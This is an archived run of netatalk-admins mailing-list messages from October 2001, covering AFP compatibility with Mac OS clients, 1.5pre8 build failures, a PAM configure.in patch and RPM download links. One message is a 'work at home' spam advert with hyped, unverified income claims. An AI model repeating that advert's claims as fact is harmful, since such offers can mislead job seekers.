To: <netatalk-admins@umich.edu>
Subject: 1.5pre6 - RH7.1 and OS8.1
Date: Tue, 16 Oct 2001 20:17:54 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Seems like I saw this post somehwhere, but I need to ask, does anybody know
about pre6 and OS8.1?  All my other boxes have no problems, just the 8.1
boxes. Maybe appleshare client version? anyway if you know about it, let me
in on it.
Hoss



From netatalk.administrators-errors@umich.edu  Wed Oct 17 06:17:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA01428
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 06:17:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA06830
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 06:17:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA06820
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 06:17:58 -0400 (EDT)
Received: from 65.15.163.119 (c1493251-a.hiland1.co.home.com [65.15.163.119])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA06779
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 06:17:56 -0400 (EDT)
Message-Id: <200110171017.GAA06779@kingcreole.mr.itd.umich.edu>
Date: Wed, 17 Oct 2001 06:17:56 -0400 (EDT)
From: legitimateworkathomejobs@yahoo.com
To: job@kingcreole.mr.itd.umich.edu, seeker@umich.edu
Subject:  work at home $15-$25 per hour -TNPE
X-Reply-To:  legitimateworkathomejobs@yahoo.com
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Are you looking for a legitimate job that you can do from your home?  Did you know that 
respected companies really do hire people to do a wide variety of jobs from their homes?  These 
jobs allow you to maintain flexible schedules and earn a great income from the comfort of your 
own house.   These opportunities are the REAL THING!  They are NOT start your own 
business from home opportunities or  Multi Level Marketing programs.  These are REAL 
JOBS!  If you want to work at home full time, part time, or just to supplement your current 
income, then make sure you visit us at www.op-knocks.com!

Opportunity Knocks is a consulting company that will provide you with current work at home 
jobs listings.    Imagine the employment/classified section of your city newspaper, then imagine 
similar positions offering the opportunity to work at home Nationwide. There are many positions 
available RIGHT NOW including Customer Service, Accounting, Bookkeeping, Sales, 
Engineering, Web Design, Proofreading, Clerical, Administrative, and much more! 

One example of the vast positions available includes answering inbound calls from your home. 
Many companies outsource their customer service to people who want to work from home.  
Instead of having expensive call centers, companies route calls to people in their homes.  This is 
a common practice these days and it is getting more and more popular.  These companies don't 
need to do a lot of advertising, so it is not easy to find a job like this if you don't know where to 
go.  Opportunity Knocks knows which companies have  positions available right now.  Find the 
perfect work at home job NOW!

 Opportunity Knocks will help you open doors 
you never knew existed.  Visit us at www.op-
knocks.com



From netatalk.administrators-errors@umich.edu  Wed Oct 17 06:27:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA01827
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 06:27:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA13787
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 06:27:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA13781
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 06:27:50 -0400 (EDT)
Received: from s14.mcn.mc (s14.mcn.mc [194.133.11.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA13758
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 06:27:48 -0400 (EDT)
Received: from [192.168.244.177] (gw.binuscan.com [195.101.216.90])
	by s14.mcn.mc (8.11.4/8.11.4) with ESMTP id f9HARih16789
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 12:27:45 +0200 (MEST)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 17 Oct 2001 12:29:13 +0200
Subject: MacOSX 10.1 vs netatalk1.4b2
From: Bruno LEDOUX <bruno_ledoux@binuscan.com>
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B7F32A19.7F26%bruno_ledoux@binuscan.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi ,

I am having a problem since I updated my Mac from OSX 10.04 to OSX10.1 while
trying to access a linux file server running RH5.1/Netatalk 1.4b2:

With 10.04 Network browsing didn't work so I had to type the adress manually
but in the end I could connect to the linux box and access any of the shared
volumes.
With 10.1 network browsing is working but the connection is always refused
with the following error message : "The server your are trying to connect to
uses a incompatible version of afp protocol".


Any help appreciated,

bruno


From netatalk.administrators-errors@umich.edu  Wed Oct 17 10:48:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14005
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 10:48:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05429
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 10:48:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05408
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 10:48:24 -0400 (EDT)
Received: from mhub-c5.tc.umn.edu (mhub-c5.tc.umn.edu [160.94.128.51])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA05211
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 10:48:22 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 17 Oct 2001 09:48:14 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Wed, 17 Oct 2001 09:48:14 -0500
Date: Wed, 17 Oct 2001 09:48:14 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Bruno LEDOUX <bruno_ledoux@binuscan.com>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: MacOSX 10.1 vs netatalk1.4b2
In-Reply-To: <B7F32A19.7F26%bruno_ledoux@binuscan.com>
Message-Id: <Pine.SOL.4.20.0110170940170.25501-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Do you have any machines you can test new version of netatalk on? OS X
support is still in the works, it might be worth it to try the newest CVS
(snapshots of which can be downloaded at: 
ftp://ftp.marcuscom.com/pub/netatalk/nightly). The CVS versions are still
beta, though.

-Karen


on 10/17/01, Bruno LEDOUX wisely declared:

> Hi ,
> 
> I am having a problem since I updated my Mac from OSX 10.04 to OSX10.1 while
> trying to access a linux file server running RH5.1/Netatalk 1.4b2:
> 
> With 10.04 Network browsing didn't work so I had to type the adress manually
> but in the end I could connect to the linux box and access any of the shared
> volumes.
> With 10.1 network browsing is working but the connection is always refused
> with the following error message : "The server your are trying to connect to
> uses a incompatible version of afp protocol".
> 
> 
> Any help appreciated,
> 
> bruno
> 
> 


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz




From netatalk.administrators-errors@umich.edu  Wed Oct 17 11:12:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15215
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 11:12:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA11417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 11:12:48 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA11403
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 11:12:47 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA11369
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 11:12:46 -0400 (EDT)
Received: (qmail 26372 invoked by uid 104); 17 Oct 2001 15:12:46 -0000
Received: from cwg-dated-c7eeb4072a822ca9@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.478874 secs); 17/10/2001 10:12:45
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-c7eeb4072a822ca9@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 17 Oct 2001 15:12:44 -0000
Received: (qmail 7223 invoked by alias); 17 Oct 2001 15:12:43 -0000
From: "Chris Garrigues" <cwg-dated-c7eeb4072a822ca9@deepeddy.com>
Received: (qmail 7188 invoked from network); 17 Oct 2001 15:12:42 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <swanberg@tc.umn.edu@fixme>; 17 Oct 2001 15:12:42 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Karen A Swanberg <swanberg@tc.umn.edu>, netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <12060.1003000586@deepeddy.com> 
References: <Pine.SOL.4.20.0110120934110.28532-100000@garnet.tc.umn.edu> <12060.1003000586@deepeddy.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_1281017878P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Wed, 17 Oct 2001 10:12:42 -0500
Message-ID: <7185.1003331562@deepeddy.com>
Mail-Reply-To: cwg-dated-c7eeb4072a822ca9@DeepEddy.Com

--==_Exmh_1281017878P
Content-Type: text/plain; charset=us-ascii

> From:  Chris Garrigues <cwg@deepeddy.com>
> Date:  Sat, 13 Oct 2001 14:16:26 -0500
>
> > From:  Karen A Swanberg <swanberg@tc.umn.edu>
> > Date:  Fri, 12 Oct 2001 09:36:16 -0500 (CDT)
> >
> > If you put your RPM out where it's available to the internet, would you
> > let me know where it is? I'm starting to maintain a FAQ of sorts, and
> > locations of packages,ports,rpm's etc. is one of the sections.
> 
> I want to run it for a little while first, but I'll probably put it on my FTP server 
> Monday or Tuesday.

Well, Wednesday is kinda like Monday or Tuesday, right?

Anyway:

ftp://ftp.vircio.com/pub/netatalk/netatalk-1.5pre8-1.i386.rpm
ftp://ftp.vircio.com/pub/netatalk/netatalk-devel-1.5pre8-1.i386.rpm
ftp://ftp.vircio.com/pub/netatalk/netatalk-1.5pre8-1.src.rpm

My build system is mostly redhat 7.something

I hope these RPMs will work for other people; they do work for me.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_1281017878P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7zZ/qK9b4h5R0IUIRAuyhAJ9EzO80buEwpqCl9Y0Wif2p3s2EmACdFoB8
WYGsz5PMcYlKwOFyEh0VKYA=
=Xz0J
-----END PGP SIGNATURE-----

--==_Exmh_1281017878P--

From netatalk.administrators-errors@umich.edu  Wed Oct 17 11:32:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16876
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 11:32:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA09435
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 11:32:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA09411
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 11:32:18 -0400 (EDT)
Received: from heretic.mabaleb.org (heretic.mabaleb.org [63.225.255.133])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA09366
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 11:32:16 -0400 (EDT)
Received: from localhost (unknown [192.168.1.103])
	by heretic.mabaleb.org (Postfix on SuSE Linux 7.1 (i386)) with ESMTP id 88059997
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 09:28:10 -0700 (MST)
Date: Wed, 17 Oct 2001 09:32:12 -0600
Subject: 1.5pre8 "make" failure
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: Michael Bartosh <mbartosh@mabaleb.org>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <80256AE6.00431B56.00@notescam.cam.harlequin.co.uk>
Message-Id: <22E5E1C8-C314-11D5-B8F5-003065FB41C2@mabaleb.org>
X-Mailer: Apple Mail (2.472)

Whenever I build netatalk I get:

cd . && /home/mbartosh/netatalk-1.5pre8/missing autoheader
/bin/sh: /home/mbartosh/netatalk-1.5pre8/missing: No such file or 
directory
make: *** [stamp-h.in] Error 127

...literally right after I type "make"


I tried configuring with

./configure --with-ssl-dir=/usr/local/ssl --with-shadow --with-pam 
--enable-suse --disable-ddp

and then just with ./configure to test.

I've never really had any problems with netatalk before, so I'm a bit 
perplexed.

Thanks-

-mab


From netatalk.administrators-errors@umich.edu  Wed Oct 17 11:53:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17892
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 11:53:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA14747
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 11:53:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA14723
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 11:53:51 -0400 (EDT)
Received: from mail.scandinaviaonline.fi (mail.scandinaviaonline.fi [195.10.169.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id LAA14688
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 11:53:49 -0400 (EDT)
Received: (qmail 22315 invoked by uid 1004); 17 Oct 2001 15:42:57 -0000
Received: from mika.vuokko@scandinaviaonline.fi by mail.scandinaviaonline.fi with scan4virus-0.53 (uvscan: v4.0.70/v4165. . Clean. Processed in 0.127655 secs); 17/10/2001 18:42:57
Received: from h26.tii.telia.fi (HELO mikav) (195.10.169.26)
  by mail.scandinaviaonline.fi with SMTP; 17 Oct 2001 15:42:57 -0000
Message-ID: <06b501c15725$1be87470$1aa90ac3@mikav>
From: "Mika Vuokko" <mika.vuokko@scandinaviaonline.fi>
To: <netatalk-admins@umich.edu>
Subject: 1.5pre xx & Freehand
Date: Wed, 17 Oct 2001 19:02:23 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA17892

Hi.

We are experiening serious problems when using netatalk server 1.5pre7 ( linux, mandrake 8.0 precompiled RPM ) and a Mac client with FreeHand software. FreeHand documents which has links to various pictures in different folders (within the same share) breaks up when the document is saved are reopened. Is it something to do with the DID? The customer I have saved all work previously on a Mac server and worked there perfectly... None of the documents are not corrupted - just the links break. 

Strange.

I also tried to compile directly from the sources (1.5 pre8), but for some reason the pam uams module does not compile (with the --shadow --pam magic )...

Thanks for *any* help on this one :)

// Mika

---

Mika Vuokko
Programmer 
Scandinavia Online
Finland

Tel: +358-20-1234518
Mobile: +358-40-8334884
Email:   mika.vuokko@scandinaviaonline.fi
Web:    http://www.suomi24.fi



From netatalk.administrators-errors@umich.edu  Wed Oct 17 14:29:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25454
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 14:29:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA03215
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 14:29:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA03198
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 14:29:24 -0400 (EDT)
Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA03150
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 14:29:23 -0400 (EDT)
Received: (qmail 16946 invoked by uid 0); 17 Oct 2001 18:29:21 -0000
Received: from aaa99.pppool.de (HELO gmx.net) (213.6.170.153)
  by mail.gmx.net (mp004-rz3) with SMTP; 17 Oct 2001 18:29:21 -0000
Sender: root@easycomeeasygo.mr.itd.umich.edu
Message-ID: <3BCDCE36.CDBAA6CE@gmx.net>
Date: Wed, 17 Oct 2001 20:30:14 +0200
From: "Lars O. Grobe" <grobe@gmx.net>
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.4.4 i586)
X-Accept-Language: de, en
MIME-Version: 1.0
Newsgroups: linux.appletalk,comp.protocols.appletalk
To: netatalk-admins@umich.edu
CC: LINUX-ATALK@LISTS.NETSPACE.ORG
Subject: mtab-code in Netatalk 1.5pre8 combined with other file services?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi!

Maybe I understand this totally wrong, but won't the new mtab-code to
create DIDs in Netatalk 1.5pre8 create corrupted DIDs if I use the
filesystem with other applications, e.g. if I write and delete files
with samba (while the DIDs are still left)?

I would like to try the new 1.5pre on a test machine, but I'm not sure
if this is made for combined samba/netatalk services.

Thank You, CU, Lars.

From netatalk.administrators-errors@umich.edu  Wed Oct 17 14:50:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA26736
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 14:50:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA16424
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 14:50:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA16413
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 14:50:14 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA16372
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 14:50:13 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9HIoCF18494
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 20:50:12 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9HIoCw28206
	for netatalk-admins@umich.edu; Wed, 17 Oct 2001 20:50:12 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15tvfe-0001EW-00
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 20:44:02 +0200
Date: Wed, 17 Oct 2001 20:44:02 +0200
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre xx & Freehand
Message-ID: <20011017204402.B4606@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <06b501c15725$1be87470$1aa90ac3@mikav>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="IJpNTDwzlM2Ie8A6"
Content-Disposition: inline
In-Reply-To: <06b501c15725$1be87470$1aa90ac3@mikav>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>


--IJpNTDwzlM2Ie8A6
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Oct 17, 2001 at 07:02:23PM +0300, Mika Vuokko wrote:

> I also tried to compile directly from the sources (1.5 pre8), but for some reason the pam uams module does not compile (with the --shadow --pam magic )...

That's a bug in pre8. If you have autoconf installed, you might apply
the attached patch to configure.in and re-run autoconf.

 - Sebastian

--IJpNTDwzlM2Ie8A6
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="netatalk-pam.diff"

--- netatalk-1.5pre8.orig/configure.in
+++ netatalk-1.5pre8/configure.in
@@ -339,30 +339,29 @@
 fi
 
 # Check for PAM libs
-PAM_MSG="yes"
+AC_MSG_CHECKING([whether PAM support should be enabled])
 AC_ARG_WITH(pam,
-    [  --with-pam              Enable PAM support ],
-    [
-        if test "x$withval" = "xno" ; then
-                       PAM_MSG="no"
-               else 
-            PAM_MSG="yes"
-        fi
-    ]
+    [  --with-pam              Enable PAM support],
+    [PAM_MSG="$withval"],
+    [PAM_MSG="yes"]
 )
+AC_MSG_RESULT($PAM_MSG)
 
 if test "x$PAM_MSG" = "xyes"; then
-       AC_MSG_RESULT([enabling pam modules support])
-       if test "x$ac_cv_header_security_pam_appl_h" != "xyes" ; then
-               AC_MSG_ERROR([PAM headers not found]) 
-       fi
+        if test "x$ac_cv_header_security_pam_appl_h" != "xyes" ; then
+                AC_MSG_ERROR([PAM headers not found]) 
+        fi
         
-       AC_CHECK_LIB(dl, dlopen, , )
-       AC_CHECK_LIB(pam, pam_set_item, , AC_MSG_ERROR([*** libpam missing]))
-       AC_CHECK_FUNCS(pam_getenvlist)
-
-       AC_DEFINE(USE_PAM)
-       use_pam_so=yes
+        AC_CHECK_LIB(dl, dlopen, , )
+        AC_CHECK_LIB(pam, pam_set_item, , AC_MSG_ERROR([libpam missing]))
+        AC_CHECK_FUNCS(pam_getenvlist, , AC_MSG_ERROR([invalid libpam]))
+
+        AC_DEFINE(USE_PAM)
+        use_pam_so=yes
+        compile_pam=yes
+else
+        use_pam_so=no
+        compile_pam=no
 fi
 
 shadowpw=no


--IJpNTDwzlM2Ie8A6--


From netatalk.administrators-errors@umich.edu  Wed Oct 17 14:50:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA26753
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 14:50:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA01323
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 14:50:16 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA01298
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 14:50:15 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA01252
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 14:50:13 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9HIoBF18487
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 20:50:11 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9HIoBF28204
	for netatalk-admins@umich.edu; Wed, 17 Oct 2001 20:50:11 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15tvcN-0001Dp-00
	for <netatalk-admins@umich.edu>; Wed, 17 Oct 2001 20:40:39 +0200
Date: Wed, 17 Oct 2001 20:40:39 +0200
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre8 "make" failure
Message-ID: <20011017204039.A4606@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <80256AE6.00431B56.00@notescam.cam.harlequin.co.uk> <22E5E1C8-C314-11D5-B8F5-003065FB41C2@mabaleb.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <22E5E1C8-C314-11D5-B8F5-003065FB41C2@mabaleb.org>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Wed, Oct 17, 2001 at 09:32:12AM -0600, Michael Bartosh wrote:
> Whenever I build netatalk I get:
> 
> cd . && /home/mbartosh/netatalk-1.5pre8/missing autoheader
> /bin/sh: /home/mbartosh/netatalk-1.5pre8/missing: No such file or 
> directory
> make: *** [stamp-h.in] Error 127
> 
> ...literally right after I type "make"

The problem is that pre8 is delivered with symlinks to missing and
mkinstalldirs instead of literal versions. This is a packaging bug. If
you have automake installed, replace the symlinks in the netatalk
directory by links to the correct file. (They may be in
/usr/local/share/automake, depending on your installation.)

If you haven't installed automake, you may look for these files in
other tar-balls, you might have. They should be distributed with every
program that uses automake to build.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Wed Oct 17 16:26:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA04462
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 17 Oct 2001 16:26:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA11338
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 17 Oct 2001 16:26:25 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA11321
	for netatalk.administrators-members@umich.edu; Wed, 17 Oct 2001 16:26:25 -0400 (EDT)
